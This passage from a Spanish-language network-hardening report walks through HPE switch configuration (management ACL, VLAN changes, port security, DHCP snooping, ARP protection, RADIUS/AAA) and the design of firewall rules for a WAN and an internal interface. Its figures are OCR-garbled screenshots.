las direcciones IP siempre con la wildcard 0.0.0.255.

4: Al hacer click en el boton “Add” se va agregando una a una las direcciones IP que se han
ingresado previamente en el subpaso anterior.

5: En este lugar se ve el contenido de la ACL que se esta construyendo. Al finalizar todos estos
subpasos todavia la ACL no ha sido aplicada.

sSummary Create Advanced Setup Link Layer Setup Remove
RCL [2001 |1
Configure a Basic ACL

Pule ID (0-65534, If no ID is entered, the system will specify one.)
Action Permit v || 2

Check Fragment Check Logging 3

¥ Source IP Address 10.0.203.217 Source Wildcard  |0.0.0.255
Time Range T
4 Add
5
Rule ID Operation Description Time Ra

(] permit source 10.0.203.0 0.0.0.255

Figura 94. Creacion de una ACL en el switch

Paso 3: Aplicar la ACL creada a los servicios de administracién del swtich para que tenga efecto. Para
esto hay que dirigirse a Network > Service en el menu principal y aplicar la ACL mediante su
identificador (que es 2001) al servicio que interesa que en este caso es el HTTPS (ver Figura 95) y al
finalizar click en Apply.
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PFTP Enable FTP semvice

Telnet Enable Telnet semice

SSH ¥/ Enable SSH senice

SFTP ¥/ Enable SFTP senice

PHTTP Enable HTTF semvice

wHTTPS ¥ Enable HTTPS senvice
Fort Mumber: 443 (443/1025-65535, Default = 443)
ACL: 2001 }2000-2999, Use ACL for access control)
FKEI Domain: r

terrerrareetwitramrasterikidrarerenuirett

Apply Cancel

Figura 95. Aplicar ACL al servicio HTTPS del switch
Cambiar VLAN 1

Se desaconseja todo uso de la VLAN 1 (VLAN por defecto) como medida de seguridad en los
dispositivos de capa 2. A continuacion, se cambiara el tag de VLAN en puertos e interfaces de red que
actualmente estén configurados en la VLAN 1 por otro tag distinto.

Al hacer click en Network > VLAN > Select VLAN vy filtrar para mostrar los puertos en VLAN 1 se logra
determinar que los puertos 4, 13, 18, 21, 25-28 estan actualmente en VLAN 1 (ver Figura 96).

Create Fort Detail Detail I odify WLAR Modify Port Eemaove

WLAM range display: select an option to view all available VLARNS or a subset of configured VLARMNS.

Display all VLAMS. Mote: This option may reduce browser response time.

L 1 Display a subset of all configured VLANS, example: 3,5-10.
2 Select
WLAR Summary 3
D Description ntagged Membership Tagged Membership
1 ADMIMISTRACION SWI GEL/0/4, GE1/0/13, GE1/0/18, GEL/0V21, GEL/DV25- GEL/024
TCH GEL/0/28

Figura 96. Puertos que estan en la VLAN 1

Los pasos para cambiar el uso de la VLAN 1 se muestran a continuacion.

Paso 1: Se cambian de VLAN los puertos que no se estan utilizando. Actualmente los puertos sin usar
estan en la VLAN 1 (VLAN por defecto), se van a cambiar a una VLAN no enrutable que en este caso se
escogio la VLAN 5. La intencion es que si alguien no autorizado se conecta a estos puertos no tenga
acceso a la red. Esto se hace desde Network > VLAN>Modify Port. Los subpasos en la pantalla de la
Figura 97 son los siguientes:
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1: Se escoge el conjunto de puertos a los que se desea cambiar de VLAN que en este caso son los

puertos 4, 13, 18, 21, 25-28.

e 2: Como se quiere que los puertos sean de acceso y no troncales (trunk) se selecciona
“Untagged”.

e 3: Aqui se escribe el nuevo tag de VLAN que se quiere asignar al conjunto de puertos. En este

caso ese tag es 5.

4: Aqui se puede comprobar los cambios que estan a punto de aplicarse.

5: Click en el boton “Apply” para aplicar los cambios que se acaban de hacer.

Select VLAR Create Part Detail Detail Modify WLARM Femove

Select Ports

HPF W1910-24G Sw.

Select All Select Mone . . .
Mot avaliable for selection

Select membership type:

* Untagged 2 Tagged Mot A Member Link Type PYID

Enter VLAMN IDs to which the portis to be assigned:

WLAM IDs: & 3 Example: 1,3,5-10

Selected ports:
b 4

LUntagged Membership
GEL/04, GEL/VL3, GEL/O/LE, GEL//2], GEL/DV25-GELIDI2E

Apply Cancel

Figura 97. Cambiar puertos a VLAN no enrutable

Paso 2: Se cambia la interfaz administrativa del switch para que no esté en VLAN 1. La interfaz
administrativa de los switches es aquella interfaz que tiene la direccion IP de administracion del equipo,
actualmente esa interfaz estd en VLAN 1.Para sustituir el valor por defecto se creé el nuevo tag 200 que
serd el valor a utilizar para la configuracion VLAN de la Red de Administracién. Al hacer click en
Network>VLAN Interface aparece la pantalla de la Figura 98 en la que se ve que la direccion IP actual es
10.0.254.16 y el tag de VLAN (VLAN ID) es el 1.
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: Create IWodify Remove

® Al Address IPvd Address IPv6 Address Mo Address

VLANID| P4 Address /IPv6 Link Local Address gf;&'g Method

Figura 98. VLAN de administracion antes del cambio

En Network > VLAN Interface > Create es donde se hace el cambio de VLAN (ver Figura 99).

e 1: Se coloca el nuevo tag que se quiere para la interfaz administrativa del switch que en este caso
es el valor 200.

e 2: Se coloca la direccion IP que tendré la interfaz. En este caso se quiere que la direccién IP se
obtenga por DHCP.

e 3: Click en “Apply” para que los cambios tengan efecto.

Summary E Modify FEemove

Input a VLAN ID:

200 | 1 (1-4004)

#| Configure Primary [Pvd Address

* DHCP 2 BOOTP Manual
v TEss: Mask Length:

¥ Configure IPv6 Link Local Address

* Auto Manual
IPv6 Address:

3

Apply Cancel

Figura 99. Nueva VLAN de la interfaz de administracion del switch
Port Security

Esta es una caracteristica que implementan los switches modernos para limitar el nimero de usuarios que
pueden conectarse por un puerto del switch con el fin de mejorar el control que se debe tener sobre quien
puede o no conectarse a la red.

Por disposiciones de la organizacién se definié que cada puerto de switch puede estar asociado a solo 3
direcciones MAC como maximo: direccion MAC del equipo, direccion MAC de un teléfono IP, direccion
MAC de una maquina virtual. Los Unicos puertos que no seguirdn esta regla son aquellos que los
administradores de red configuren como puertos troncales (trunk ports).

Al hacer click en Device > Port Management > Setup aparece la pantalla que vemos en la Figura 100 y
los subpasos que se siguieron son:
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e 1: El valor gque se coloque aqui sera el namero maximo de MACs que se aceptaran. En este caso
el valor es de 3 MACs.

e 2: Se selecciona los puertos a los que se quiere aplicar el cambio que en este caso son todos los
puertos excepto el 24 por ser puerto troncal que conecta este switch con otros de la organizacion.

Por ultimo se hace click en el boton “Apply” para que los cambios tengan efecto. Al hacer esta
configuracion se limita el nUmero de equipos que pueden conectarse (maximo) a cada puerto de este
switch a solo 3.

Summay | Deta D

Basic Configuration

Port State | Mo Change ¥ Speed MNo Change T Duplex MNo Change ¥

— == 4" | | S~ S — | —= == 4" |
Link Type | Mo Change ¥ PVID (1-4094)

Advanced Configuration

Flow

MDI Mo Change ¥ coptrgl M0 Change ¥ |

Power Save| Mo Change ¥ gzﬁmﬂc User Defined ¥ |3 1 (0-8192)
Storm Suppression
Broadcast Mo Change ¥ Multicast |Mo Change ¥ | Unicast |Mo Change ¥ |
Suppression Suppression Suppression

pps range (1-148810 for a 100 Mbps port, 1-1488100 for a GE port, and 1-14881000 for a 10GE port)
kbps range (1-102400 for a 100 Mbps port, 1-1024000 for a GE port, and 1-10240000 for a 10GE port)

Select All Select Mone
Unit Selected Ports
1 GE1/0/1-GE1/©/22, GEl1/0/25-GE1/0/28

Figura 100. Restringir nimero de direcciones MAC por puerto
DHCP Snoping

DHCP Snooping es una tecnologia de seguridad capa 2 integrada en el software que sirve para descartar
determinado trafico DHCP. Garantiza que los clientes DHCP obtienen direcciones IP solo de servidores
DHCP autorizados.

Para configurar esta caracteristica en los switches de la organizacion se siguieron los siguientes pasos:

Paso 1: Dirigirse a Network > DHCP > DHCP Snooping y habilitar el servicio seleccionando la opcion
“Enable” (ver Figura 101).
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DHCF Snooping Disahle

Figura 101. Habilitar DHCP Snooping

Paso 2: Lo siguiente es definir en Network > DHCP > DHCP Snooping los puertos confiables (trust) y no
confiables (untrust) para el switch. En este caso, el switch conecta solo usuarios finales y por tanto todos
sus puertos deben considerarse no confiables. La Unica excepcién es el puerto del switch gue conecta
hacia el resto de switches de la organizacion (trunk port). En este modelo de switch todos los puertos por
defecto son untrust y solo hubo que cambiar la configuracion del puerto 24 (que es el troncal) a puerto
trust tal como se ve en la Figura 102.

GigahitEthernetl/0ila Lntrust
GigabhitEthernetl/oi20 Lintrust
GigahitEthernetlii21 Lintrust
GigabitEthernetlioi22 Lintrust
GigahitEthernetl/i23 Lintru stl
GigahitEthernetl/inf24 Trust

GigabitEthernetl/i25 nirust
GigahitEthernetl/Oi26 Lintrust
GigabitEthernetl/ioi27 Lintrust
GigahitEthernetl//28 Lintrust

28 records,

User Information

User Infarmation

Figura 102. Seleccidn del puerto Trust de DHCP Snooping

Luego de uno 5 minutos, al hacer click en el boton “User Information” se muestra la pantalla de la Figura
103 que es la tabla de asociaciéon MAC-a-IP de DHCP Snooping. Esta tabla se va construyendo a medida
gue el switch va analizando solicitudes y respuestas DHCP en la red y su valor radica en que esta
asociacion de MAC con direccion IP el switch la usa como base de otras configuraciones disponibles en
su software.
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IP Address ¥ | Search |Advanced Search
IP Address MAC Address Type Interface MName WLAM Femaining Lease Time (Sec)
dniiinini 7036 ¢89c-de71-7112 Dynamic GigabitEthernetl/0/6 40 6116
Il 203 8 cB9c-de71-9b8d Dynamic GigabitEthernetl/0/23 40 7093
inaininill 703.9 c89c-dc71-6847 Dynamic GigabitEthernetl/0/15 40 4829
i 703,13 0030-67b4-93a3 Dynamic GigabitEthernet1/0/2 40 5500
dnibiiainieh 70315 cB9c-dcha-88e3 Dynamic GigabitEthernetl/0/9 40 4262
il 203.20 ¢89c-dc71-67h7 Dynamic GigabitEthernet1/0/8 40 5755
i 20322 cB9c-de71-9c5e Dynamic GigabitEthernetl/0/11 40 44905
i 203,24 cB89¢c-dcha-8dal Dynamic GigabitEthernetl/0is 40 G444
it 20349 cB9c-dc71-5ded Dynamic GigabitEthernetl/0i17 40 4964
il 703195 0800-27c2-1dc0 Dynamic GigabitEthernetl/0/13 40 4915
dniiie: 203217 ¢89c-dcha-8956 Dynamic GigabitEthernetl/0/13 40 4251
e 703218 000b-8227-4416 Dynamic GigabitEthernetl/0/13 40 6035
I 703,247 4001-cBeb-he3f Dynamic GigabitEthernetl/0/13 40 6310
el 203,249 cB9¢c-de7l-65a2 Dynamic GigabitEthernetl/0/16 40 4921
inipiei 709 4 cB89c-dc71-69a6 Dynamic GigabitEthernetl/0/22 100 3925
il 71813 80cl-Gefl-f3dc Dynamic GigabitEthernetl/0/20 190 5700
a5 4 59 4001-cBeb-he3f Dynamic GigabitEthernetl/0/13 1 247
17 records, 100 ¥ perpage | page 1/1, record 1-17 |FirstFrevile
Return Refresh Feset

Figura 103. Base de datos IP-MAC de DHCP Snooping
Proteccion ARP

La proteccion ARP permite al dispositivo bloquear paquetes ARP desde clientes no autorizados para
evitar ataques ARP Spoofing. La protecciobn ARP proporciona chequeo de la validez de usuarios y
chequeo de validez de paquetes ARP.

Esta proteccion se basa en la base de datos DHCP Snooping que se configurd anteriormente. Si hay un
paquete ARP con direccién IP de origen y direccion MAC que haga match con alguna de las entradas de
la base de datos DHCP Snooping entonces este se considera valido, de lo contrario se descarta el paquete
ARP.

Para configurar esta proteccion hay que dirigirse en el menu principal a Network > ARP Anti-Attack y
aparece la pantalla de la Figura 104. Los subpasos a seguir fueron (ver Figura 104):

1: En esta seccion se colocan las VLANS para las que estara habilitada la proteccion ARP.

2: En esta seccion se colocan las VLANS que no se desea estén bajo la proteccion ARP ya sea

porque se consideran confiables o existe en ellas algin uso legitimo de ARP Spoofing que se

guiere mantener.

e 3: En esta seccion se colocan los puertos del switch considerados confiables, es decir, aquellos
que no se quiere sean inspeccionado por la proteccién ARP. Por lo general aqui se colocaran los
puertos troncales del switch (trunk ports).

e 4: En esta seccion se colocan los puertos considerados no confiable del switch. Como norma
general, se consideran no confiables todos los puertos del switch que conectan usuarios finales.

e 5. Esto es opcional pero se recomienda. En estos items se pueden escoger protecciones

adicionales para descartar paquetes ARP que se consideran mal formados. En este caso se escogio
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rechazar todos los paquetes ARP cuya direccion MAC de envio en el cuerpo del mensaje no
coincida con la direccion MAC de origen en la cabecera Ethernet.

VLAN Settings Trusted Ports

-----Enabled WLANS----- o~ e Disabled VLAMSs-----  « Trusted Ports----- -----Untrusted Ports-----
20 1 GigahitEthernet1/0/13 GigabitEthernet1/0/1
30 2 GigahitEthernet1/0/24 GigabitEthernet1/0/2
40 1 5 2 GigabitEthernet1/0/3
50 10 3 a GigahitEthernet1/0/4
60 e 200 e GigabitEthernet1/0/5
70 GigabitEthernet1/0/8
80 GigabitEthernet1/0/7
90 GigabitEthernet1/0/8
100 - GigabitEthernet1/0/9

ARP Packet Validity Check

\scard the ARP packetwhose sender MAC address is differentfrom the source MAC address inthe Ethernetheader 5
Discard the ARP packetwhose target MAC address is all 0s, all 1s, or inconsistent with the destination MAC address in the Ethernetheader
Discard the ARP requestwhose source IP address is all 0s, all 1s, or a multicast address, and discard the ARP reply whose source and destination IP addresses are all 0s, all 1s, or multicast addresses

Apply

Figura 104. Configuracion de ARP Anti Attack en el switch

Al hacer esta configuracion se esta protegiendo a los usuarios conectados al switch contra ataques ARP
Spoofing que es una forma de lograr interceptar comunicacion (Man-in-the-middle).

RADIUS y AAA

A continuacién, se configura la autenticacién via RADIUS para la administracién de los switches
autenticando los usuarios contra el servidor FreeRADIUS configurado en una seccién anterior de este
documento. El procedimiento de configuracion se describe a continuacién.

Paso 1. Configurar parametros RADIUS.

Se selecciona Authenticaction > RADIUS > RADIUS Server en el mena principal y en la pantalla que
aparece (ver Figura 105) debe configurarse en el switch la direccién IP del servidor RADIUS que se va a
utilizar en el campo “Primary Server IP” de la interfaz de usuario. Primero se configura el servidor de
autenticacién como se ve en la Figura 105 y luego en la misma pantalla el servidor de registro como se ve
en la Figura 106. En ambos casos es necesario presionar el botén “Apply” para que los cambios se
guarden.
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Server Type: | Authentication Server ¥ |

Primary Server IP: . 700 4 &

Primary Server UDF Port: 1812 *(1-65535)
Primary Server Status: | active T
Secondary Server [P; 0000 *
Secondary Server UDP Port: 1812 *(1-65535)
Secondary Senver Status: | block v

ltems marked with an asterisk(*) are required

Apply
Figura 105. Configurar servidor de autenticacion RADIUS
| —

' ' RADIUS Setup

Server Type: | Accounting Senver al

Primary Server IP: S 000 4 P

Primary Server UDP Port: 1813 *(1-65535)

Primary Server Status: | active A

Secondary Server |P: 0.0.0.0 "

Secondary Server UDP Port: 1813 *(1-65535)

Secondary Senrver Status: | block al

ltems marked with an asterisk(*) are required
Apply

Figura 106. Configurar servidor de registro RADIUS

En la misma pantalla se hace click en la pestafia “RADIUS Setup” y en dicha pantalla se configura la
clave compartida con el servidor FreeRADIUS y en el campo NAS-IP es imprescindible colocar la IP del
swtich. Otro parametro importante que no debe dejarse en su estado por defecto es el formato de nombre
de usuario que debe tener el valor “without-domain”. Esta configuracion es la que puede observarse en la
Figura 107. Al finalizar debe hacerse click en el boton “Apply” para que los cambios se guarden. De esta
manera ya se han configurado los parametros basicos de un servidor RADIUS en el equipo.
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RADIUS Server

*minutes(0-60, Must be a multiple of 3)

Server Type: | extended W
¥ Authentication Server Shared Key: sssssensense (1-64 Chars.)
Confirm Authentication Shared Key: sssssnssense
¥ Accounting Server Shared Key: srrensenense (1-64 Chars.)
Confirm Accounting Shared Key: [ —
MAS-IP: 10.0/.254 .16
Timeout Interval: 3 “seconds(l-10)
Timeout Retransmission Times: 3 *(L-20)
Realtime-Accounting Interval: 12
Realtime-Accounting Packet Retransmission Times: 5 *{1-255)
Stop-Accounting Buffer: | enable il
Stop-Accounting Packet Retransmission Times: 500 *(L0-65535)
Quiet Interval: 5 *minutes(1-255)

Username Format:

| without-domain

Unit of Data Flows:
Unit of Packets:

Security Policy Server:

| byte

| packet

ltems marked with an asterisk(*) are required

Apply

Figura 107. Parametros para la configuracion de RADIUS en un switch

Paso 2. Configurar AAA

Estas configuraciones se hacen desde Authenticaction > AAA desde el menu principal. La primera tarea
es crear el dominio ISP que es un perfil que se asocia con las configuraciones AAA que se haran
posteriormente en el switch. Es importante que el dominio que se cree sea el dominio por defecto antes de
hacer click en “Apply”. En esta configuracion de ejemplo el dominio que se configur6 es “mydomain”.
En la Figura 108 se observan los parametros utilizados.

Authentication

5P Domain

Domain Mame |mydomain

Default Domain | Enahble

Apply

Please selectthe ISP domain(s)

Domain Mame

Figura 108. Crear dominio RADIUS
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Desde la misma pantalla pero ahora desde la pestafia “Autentication” hay que asegurarse que el dominio
creado anteriormente esté seleccionado y se tilda el campo “Defaulth AuthN” que es donde se establece
que el servidor primario de autenticacion es un servidor RADIUS y como secundario (en caso de falla del
servidor) autenticar mediante usuarios de la base de datos local del equipo. Esta configuracién puede
observarse en la Figura 109.

Domain Setup Authorization Accounting

Authentication Configuration of AAA

Selectan ISP domain mydomain v

#| Default Authi RADIUS ¥ | Mame |system v Secondary Method | Local v
LAM-access Authil ¥ | Mame v secondary Method v
Login Authil ¥ | Mame v Secondary Method A
PPP AuthiM v | Mame v Secondary Method v
Portal Authld & Mame v Secondary Method T

Apply

Figura 109. Configurar autenticacion RADIUS

En la misma pantalla pero ahora desde la pestafia “Authorization” hay que asegurarse que el dominio
creado anteriormente esté seleccionado y se tilda el campo “Defaulth AuthN” que es donde se establece
gue el servidor primario de autorizacion es un servidor RADIUS y como secundario (en caso de falla del
servidor) autenticar mediante usuarios de la base de datos local del equipo. Esta configuracién puede
observarse en la Figura 110.

Domain Setup Authentication Accounting

Authorization Configuration of AAA

Selectan ISP domain mydomain ¥

¥| Default AuthZ RADIUS ¥ | MName |system v Secondary Method | Local »
LAM-access AuthZ v Mame T Secondary Method v
Login AuthZ v MName A Secondary Method v
PPP AuthZ v MName A Secondary Method v
Portal AuthZ ¥ Mame v Secondary Method L
Command AuthZ v Name v

Apply

Figura 110. Configurar autorizacion RADIUS

Desde la misma pantalla pero ahora desde la pestafia “Accounting” hay que asegurarse que el dominio
creado anteriormente esté seleccionado. Debe tildarse el campo “Accounting Optional” que por defecto
no esta habilitado, se tilda el campo “Defaulth AuthN” que es donde se establece que el servidor primario
de registro es un servidor RADIUS y como secundario (en caso de falla del servidor) autenticar mediante
usuarios de la base de datos local del equipo. Esta configuracion puede observarse en la Figura 111.

144



Domain Setup Authentication Authorization

Accounting Configuration of AAA

Selectan ISP domain mydomain ¥

#| Accounting Optional Enable v

¥| Default Accounting RADIUS ¥ | Mame |system v | SecondaryMethod | Local
LAN-access Accounting ¥ | Name | ¥ | Secondary Method v
Login Accounting ¥ | MName | T Secondary Method v
PPP Accounting ¥ | Mame | ¥ | Secondary Method v
Portal Accounting ¥ | Mame | ¥ | Secondary Method v

Apply

Figura 111. Configurar registro RADIUS

De esta manera se ha configurado el switch para que autentique contra un servidor AAA (Authentication,
Authorization and Accounting) que se implementé con la instalacién del software FreeRADIUS.

4.3.2 Implementacién de Reglas en el Firewall

Quedo6 demostrado en la evaluacion de seguridad que se ejecutd que las reglas actuales en el firewall no
hacen cumplir la politica de la organizacion. En esta seccién se crearan las reglas correspondientes para
hacer cumplir la politica de firewall de la organizacion.

La Red Interna de la organizacién esta compuesta por 20 VLANs divididas segun la jerarquia
organizacional interna. Para simplificar la administracion de la red todas estas VLANS se agrupan en el
firewall como un grupo de interfaces que las contiene a todas, de esta manera las reglas se crean solo para
esta interfaz (interfaz interna) y aplican para todos los miembros del grupo. Al hacer click en Interfaces >
(assign) > Interfaces Groups se verifica la informacién de grupo de interfaces actual (ver Figura 112).

L] =4 reyl
Interfaces: Groups @@
HName Members Description

FeglasGenerales

TECNOLOGIA...

Hote:
Interface Groups allow you to create rules that apply to mukiple interfaces without duplicating the rules. If you remove members from an
interface group, the group rules no longer apply to that interface.

Figura 112. Grupo de interfaces en el firewall

Al hacer la simplificacién antes mencionada resulta que para implementar las politicas de firewall de la
organizacion hay que crear reglas en las siguientes interfaces:

145



o Interfaz externa.

e Interfaz interna.

e Interfaz de servidores

e Interfaz de administracion.

Interfaz Externa (WAN)

Esta es la interfaz del firewall que filtra las conexiones desde Internet que van dirigidas hacia los servicios
publicos de la organizacion. Al ser esta la interfaz que esta de cara a la red publica Internet, es la interfaz
en que mas cuidado se debe tener a la hora de permitir un acceso. Atendiendo a esto, la politica de la
organizacion solo permite la apertura de los puertos minimos necesarios para que Sus Servicios sean
visibles desde Internet

Para la implementar la politica de acceso en la interfaz externa fue necesario implementar las reglas que
se muestran en la Tabla 26.
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Tabla 26. Reglas que implementan politica (Interfaz WAN)

Protocolo

Origen

Puerto de
Origen

Destino

Puerto de
Destino

Accion

Log

Descripcion

UbP

Cualquiera

Cualquiera

Direccién
IP WAN

1194
(OpenVPN)

Permitir

No

Permitir
conexiones
VPN

TCP

Cualquiera

Cualquiera

Proxy
Reverso

80 (HTTPS), 443
(HTTPS)

Permitir

No

Permitir
conexion
HTTP/HTTPS
desde Internet
hacia  Proxy
Reverso

TCP/UDP

Cualquiera

Cualquiera

Servidor
DNS

53 (DNS)

Permitir

No

Permitir
consultas
DNS  desde
Internet hacia
el Servidor
DNS
institucional
que es publico

TCP

Cualquiera

Cualquiera

Servidor
de Correo

25 (SMTP), 443
(HTTPS), 587
(SUBMISSION),
993 (IMAPS),

Permitir

No

Permitir
acceso desde
Internet al
Servidor de
Correo
institucional

TCP

Cualquiera

Cualquiera

Servidor
Intranet

81 (HTTP)

Permitir

No

Permitir
acceso desde
Internet a la
Intranet
institucional

TCP

Cualquiera

Cualquiera

Servidor
Tienda
Online

80 (HTTPS), 443
(HTTPS)

Permitir

No

Permitir
acceso desde
Internet a
Tienda Online
Institucional

Cualquiera

Cualquiera

Cualquiera

Cualquiera

Cualquiera

Denegar

Si

Denegar por
defecto
(implicito)

El software del firewall crea dos reglas no editables que son para descartar trafico proveniente de ciertas
direcciones IP que normalmente se usan como direcciones origen en paquetes forjados para provocar
denegacidn de servicio (DoS). Estas direcciones sueles ser el rango de las IPs privadas y otras direcciones
IP de uso reservado, estas reglas especiales son las que pueden observarse en la Figura 113.
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Firewall: Rules

Currentlyviewinb:lwm-l v
froto  Sowce ___ Port Destinafion Fort
> RFC 1918 0 0 0
networks
X} * Reservednot * * *
assigned by
TANA
IPyd * * WAN address 1194
LUDP (OpenVPN)
>} IPud TCP | * * Froxy Reverso P 80 443

Figura 113. Reglas para evitar ataque DoS dirigidos a la organizacion
Interfaz Interna

Es la interfaz en la que estan todos los usuarios finales de la organizacién. Actualmente en la interfaz
interna se permite el acceso total a todos los usuarios por todos los puertos TCP/UDP hacia la Red de
Servidores tal como se resalta en la Figura 114 que muestra algunas de las reglas implementadas
actualmente. Esta regla tan permisiva representa un grave riesgo de seguridad y no cumple con uno de los
principios fundamentales de la seguridad que es otorgar Gnicamente los accesos minimos necesarios hacia
los recursos.

En la misma Figura 114 también pueden verse a simple vistas varias reglas que son innecesarias y que
hay que depurar. En primer lugar, se eliminaron todas las reglas redundantes y las que ya no son
necesarias ya que a medida que pasa el tiempo es usual que las reglas del firewall se vayan acumulando.
Para eliminar reglas se siguieron los siguientes criterios:

e Reglas creadas para una actividad particular que ya no se requiere.

o Reglas repetidas.

e Reglas que debido al criterio de match del firewall no estaban cumpliendo ninguna funcién y
estaban de maés.
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Currently viewing | ReglasGenerales

ID FProto Source Port  Destination Port Gateway Queue Schedule

[k IPvd * i 203 9 * * * * none

P4 [ ] none
b | IPug* 03 217 | * * * rnone
D IPud * diielis 703,199 | ¢ * * * none
D IPud * il et | * * * * none
(> Fvd TCF | iimalwz03.15 | * i 200,141 25 (SMTF) * none
D IPvd TCP | 20322 | * 200,141 25 (SMTP) * none
%} IPvd TCP | * * lbmliin 00,141 25 (SMTF) * none
[k IPvd * * SERVIDORES net * * none
o TCPRIUDP

e = Ay 5= FEE TToTTE
[k P4 Servidores Wlan | * (R =t * * nong

TCPRIUDP
D IPvd TCP | gl 2037 * * puerto 443 v &0 | * none
(> Fvd TCF | iimamz03.46 | * * puerto 443 v 80 | * none

Description

blogueo puerto

Figura 114. Reglas que permite acceso a todos los puertos de todos los servidores

Luego de realizar una depuracion inicial se pasé de tener 24 reglas a solo 9 reglas de las cuales se partio
para implementar la politica de firewall (ver Figura 115).
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Currently viewing: | ReglasGenerales r

ID  Froto Source Port Destination Port Gateway Queue Schedule Description @L.!'.]

B |Pyd * e 203 9 * * * * none

(] IPwd * W 703217 | * * * * none

(] IPwd * . 203199 |t * * * none

(] Pwd TCF | oo 203.15 | * P00 . 141 | 25 (SMTF) * none

(%] IPwd TCP | * * Mhiald 700 141 | 25 (SMTF) * none (UED PUErtD

D IPwd * * SERVIDORES * * none

o TCPILDP net

O TFuF TCF [y 3120 Hone Lk'!“;é
5 i“
A

(] IPwd4 TCF | DPOWEW®. 20346 | * * puertoc 443 v 80 | * none uhé
Xl

(%] P4 TCP | * . . puerto 443 v 80 | * none whé

ol
Lﬂ
e
Figura 115. Reglas Generales luego de la depuracion

Partiendo de estas reglas depuradas ahora es momento de implementar la politica de firewall, es decir,
crear en el firewall todas las reglas que haran cumplir la politica de acceso a servidores definida por la
organizacion (ver Anexo A).

Para poder implementar la politica de firewall fue necesario crear mediante alias (grupo de direcciones IP
bajo un mismo nombre) varios grupos de usuarios cada uno con diferentes permisos. Estos alias y su
descripcion son los siguientes:

e Personal de Redes: Grupo de direcciones IP que agrupa a las maquinas de los administradores
de red de la organizacién. Tienen permisos sobre la administracion de equipos de infraestructura.

e Personal de Servidores: Grupo de direcciones IP que agrupa a las maquinas de los
administradores de sistemas de la organizacién. Tienen permisos de administracién para todos los
servidores de la organizacion.

e Persona de Soporte Técnico: Grupo de direcciones IP que agrupa a las maquinas de los técnicos
de soporte de la organizacion. Tienen permisos sobre algunos servidores que requieren para su
actividad diaria.
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e Personal de Desarrollo: Grupo de direcciones IP que agrupa a las méaquinas de los
programadores de software de la organizacion. Tienen permisos de acceso hacia algunos puertos
particulares en algunos de los servidores de la organizacion.

Tomando en consideracion los grupos de usuarios antes mencionados y la politica de acceso, fue

necesario crear en esta interfaz las reglas que se detallan en la Tabla 27.

Tabla 27. Reglas que implementan politica (Interfaz Interna)

Protocolo Origen Puerto de Destino Puertode | Accién | Log | Descripcion
Origen Destino
ICMP Personal Cualquiera | Cualquiera NA Permitir | No | Permitir trafico
de Redes ICMP para
diagnoéstico de
problemas
TCP Personal Cualquiera | Cualquier 22 (SSH), | Permitir | No | Acceso
de Redes direccion IP del | 80 administrativo
Firewall (HTTP), autorizado a
443 administracion
(HTTPS) de firewall
TCP Personal Cualquiera | Servidor Proxy | 22 (SSH), | Permitir | No | Acceso
de Redes 443 administrativo
(HTTPS) autorizado a
administracion
de proxy
TCP Personal Cualquiera | Red de | 80 Permitir | No | Acceso
de Redes Administracion | (HTTP), administrativo
443 autorizado a la
(HTTPS) Red de
Administracion
TCP Personal Cualquiera | Red de | 22 (SSH) | Permitir | No | Acceso por
de Redes Administracién SFTP para
respaldar
archivos de
configuracion
TCP Red Cualquiera | Servidor Proxy | 3128 Permitir | No | Acceso al
Interna (SQUID) proxy para
usuarios
UDP Red Cualquiera | Direccion [P | 123 (NTP) | Permitir | No | NTP para
Interna del Firewall sincronizar hora
Cualquiera | Cualquiera | Cualquiera | Direccion  IP | Cualquiera | Denegar | Si Bloquear
del Firewall acceso no

autorizado  al
Firewall
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Tabla 28. Reglas que implementan politica (Interfaz Interna) (Continuacion de la Tabla 27)

Protocolo | Origen | Puerto de Destino Puerto de | Accion | Lo Descripcion
Origen Destino g
Cualquier | Cualquier | Cualquier | Red de | Cualquier | Denega | Si Bloquear
a a a Administracion | a r acceso no
autorizado  a
Red de
Administracion
Cualquier | Cualquier | Cualquier | Servidor Proxy | Cualquier | Denega | Si Bloquear
a a a a r acceso no
autorizado  al
Proxy
TCP/UDP | Red Cualquier | Servidor DNS 53 (DNS) | Permitir | No | Consultas DNS
Interna a para todos los
usuarios
TCP/UDP | Red Cualquier | Servidor LDAP | 137 — 139 | Permitir | No | Acceso servidor
Interna a (NBT), LDAP para
389 usuarios
(LDAP),
445
(SMB),
636
(LDAPS)
TCP Red Cualquier | Direcciones IP | 80 Permitir | No | Acceso a
Interna a de  Servidores | (HTTP) servicios HTTP
HTTP para los
usuarios
TCP Red Cualquier | Direcciones IP | 443 Permitir | No | Acceso a
Interna a de  Servidores | (HTTPS) servicios
HTTPS HTTPS para los
usuarios
TCP/UDP | Red Cualquier | Direcciones IP | 137 — 139 | Permitir | No | Acceso a
Interna a de Servidores de | (NBT), servicios de
Almacenamient | 445 almacenamient
0 (SMB) o para los
usuarios
TCP Personal Cualquier | Servidor de | 7071 Permitir | No | Acceso
de Soporte | a Correo (HTTPS) administrativo
al servidor de
correo solo
Personal de
Soporte
TCP Personal Cualquier | Servidor LDAP | 80 Permitir | No | Acceso
de Soporte | a (HTTP) administrativo
al servidor
LDAP solo
Personal de
Soporte
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Tabla 29. Reglas que implementan politica (Interfaz Interna) (Continuacion de la Tabla 27)

Protocolo

Origen

Puerto de
Origen

Destino

Puerto de
Destino

Accion

Lo
9

Descripcion

TCP

Personal
de
Desarrollo

Cualquier
a

Servidor
de Correo

587
(SUBMISSION

)

Permitir

No

Acceso para
enviar correo
usando
submission
solo Personal
de Desarrollo

ICMP
(echorequest

)

Personal
de
Tecnologi
a

Cualquier
a

Red de
Servidores

NA

Permitir

No

Permitir ping
hacia la Red
de Servidores
a todo el
Personal de
Tecnologia

TCP/UDP

Personal
de
Servidores

Cualquier
a

Red de
Servidores

Cualquiera

Permitir

No

Acceso a
todos los
puertos
TCP/UDP en
Red de
Servidores
solo para
Personal de
Servidores

Cualquiera

Cualquiera

Cualquier
a

Red de
Servidores

Cualquiera

Denega

Si

Denegar
defecto
conexiones
hacia Red de
Servidores

por

TCP

Cualquiera

Cualquier
a

Cualquier
a

80 (HTTP), 443
(HTTPS)

Denega

Si

Denegar
acceso
HTTP/HTTP
S hacia
Internet para
todos los
usuarios

Cualquiera

Cualquiera

Cualquier
a

Cualquier
a

Cualquiera

Denega

Si

Denegar
defecto
(implicito)

por

Interfaz de Servidores

Es la interfaz en la que actualmente estan todos los servidores publicos y privados de la organizacién. Al
igual que con la interfaz interna, en la interfaz de servidores también existen actualmente reglas
acumuladas que ya no son necesarias. Como paso inicial estas reglas innecesarias fueron deshabilitadas
